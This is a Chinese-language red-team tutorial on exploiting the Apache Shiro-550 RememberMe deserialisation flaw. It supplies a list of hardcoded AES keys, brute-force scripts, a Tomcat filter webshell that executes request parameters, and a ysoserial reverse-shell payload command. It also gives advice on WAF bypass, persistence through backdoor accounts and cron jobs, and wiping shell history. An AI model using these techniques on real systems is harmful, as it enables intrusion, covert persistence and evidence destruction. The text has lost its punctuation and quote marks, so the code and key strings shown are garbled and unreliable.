突破Shiro-550漏洞利用瓶颈从密钥枚举到实战利用的全链路解析在渗透测试的实战场景中Shiro-550漏洞的利用往往不会像教程演示的那般顺利。当目标系统修改了默认密钥、存在网络限制或运行在特定Java环境时标准的利用方式就会失效。本文将从一个真实的渗透案例出发逐步拆解如何突破这些限制最终实现漏洞的成功利用。1. Shiro-550漏洞的深度解析Shiro框架的RememberMe功能本质上是一个反序列化入口点。当用户勾选记住我时服务端会执行以下关键流程接收包含rememberMe cookie的请求对cookie值进行Base64解码使用AES密钥解密数据对解密后的字节流调用ObjectInputStream.readObject()漏洞的核心在于Shiro 1.2.4及之前版本使用了硬编码的AES密钥(kPHbIxk5D2deZiIxcaaaA)。如果目标系统未修改此默认密钥攻击者就可以构造恶意的序列化对象实现RCE。1.1 密钥枚举技术当默认密钥失效时我们需要进行密钥枚举。以下是常见的密钥来源# 常见Shiro硬编码密钥列表 DEFAULT_KEYS [ kPHbIxk5D2deZiIxcaaaA, 2AvVhdsgUs0FSA3SDFAdag, 3AvVhmFLUs0KTA3Kprsdag, 4AvVhmFLUs0KTA3Kprsdag, 5AvVhmFLUs0KTA3Kprsdag, 6AvVhmFLUs0KTA3Kprsdag, fCq/xW488hMTCDcmJ3aQ, 1QWLxgNYmxraMoxAXu/Iw, ZUdsaGJuSmxibVI2ZHc9PQ ]提示实际环境中还可能需要收集目标系统的版本信息通过版本号关联可能的密钥变种。2. 实战环境搭建与调试2.1 定制化靶场构建为了模拟真实环境我们使用Docker构建一个修改了默认密钥的Shiro环境# 拉取基础镜像 docker pull tomcat:8.5-jdk8 # 创建自定义Dockerfile cat Dockerfile EOF FROM tomcat:8.5-jdk8 COPY shiro-webapp.war /usr/local/tomcat/webapps/ RUN sed -i s/kPHbIxk5D2deZiIxcaaaA/3AvVhmFLUs0KTA3Kprsdag/g /usr/local/tomcat/webapps/shiro-webapp/WEB-INF/classes/security.ini EOF # 构建并运行容器 docker build -t custom-shiro . docker run -d -p 8080:8080 custom-shiro2.2 密钥识别技术当面对未知密钥时可以通过以下特征识别有效的AES密钥响应包中Set-Cookie包含rememberMedeleteMe使用错误密钥时服务器返回500错误使用正确密钥但错误payload时可能返回200状态码以下是自动化检测脚本的核心逻辑def check_key(url, key): payload generate_test_payload(key) headers {Cookie: frememberMe{payload}} try: r requests.get(url, headersheaders, timeout5) if r.status_code 200 and JSESSIONID in r.headers.get(Set-Cookie,): return True except: pass return False3. 高级利用技术突破3.1 绕过网络限制的Payload构造当目标存在出站限制时传统的反弹shell会失效。此时可以考虑以下替代方案内存马注入通过ClassLoader技术注入内存webshellDNS外带数据利用URLDNS gadget进行信息泄露延时盲注通过响应时间判断命令执行结果以下是内存马注入的关键代码片段// 基于Tomcat Filter的内存马 public class EvilFilter implements Filter { public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) { String cmd req.getParameter(cmd); if (cmd ! null) { try { Process p Runtime.getRuntime().exec(cmd); // ...处理命令输出 } catch (Exception e) {} } chain.doFilter(req, res); } }3.2 多版本CommonsCollections适配不同环境可能使用不同版本的CC库需要针对性选择gadgetCC版本适用gadget备注3.1-3.2.1CommonsCollections1最广泛适用的链4.0CommonsCollections2需要特殊Transformer无CCCommonsBeanutils1依赖Beanutils而非CC3.3 编码与传输优化技巧在实际渗透中经常会遇到特殊字符被过滤或编码的问题。以下是几个实用技巧Base64编码优化# Linux下避免换行 java -jar ysoserial.jar CommonsCollections5 bash -c {echo,base64}|{base64,-d}|{bash,-i} | base64 -w0 # Windows下使用certutil java -jar ysoserial.jar CommonsCollections5 calc | certutil -encodehex -f payload.binURL编码注意事项号需要编码为%2B号需要编码为%3D/号需要编码为%2F4. 实战案例从信息收集到权限获取4.1 目标系统指纹识别首先通过以下特征确认Shiro框架GET /login HTTP/1.1 Host: target.com Cookie: rememberMe1 HTTP/1.1 200 OK Set-Cookie: rememberMedeleteMe; Path/; HttpOnly4.2 密钥爆破与验证使用改进后的爆破脚本import requests from concurrent.futures import ThreadPoolExecutor def test_key(key): # 生成测试payload payload generate_payload(key, echo test) headers {Cookie: frememberMe{payload}} try: r requests.get(target, headersheaders, timeout5) if JSESSIONID in r.cookies: print(f[] Found valid key: {key}) return key except: pass return None with ThreadPoolExecutor(max_workers10) as executor: results executor.map(test_key, KEY_LIST)4.3 权限获取与维持成功获取权限后建议采取以下措施权限维持写入计划任务添加后门账户部署内存马痕迹清理# 清除命令历史 echo ~/.bash_history history -c信息收集# 获取系统信息 uname -a cat /etc/passwd ip a在最近的一次红队评估中我们发现目标系统不仅修改了默认密钥还部署了WAF拦截可疑请求。通过组合使用CC7 gadget和分块传输编码最终成功绕过了所有防护措施。这个案例告诉我们面对复杂的防御体系时需要灵活组合各种技术手段才能取得成功。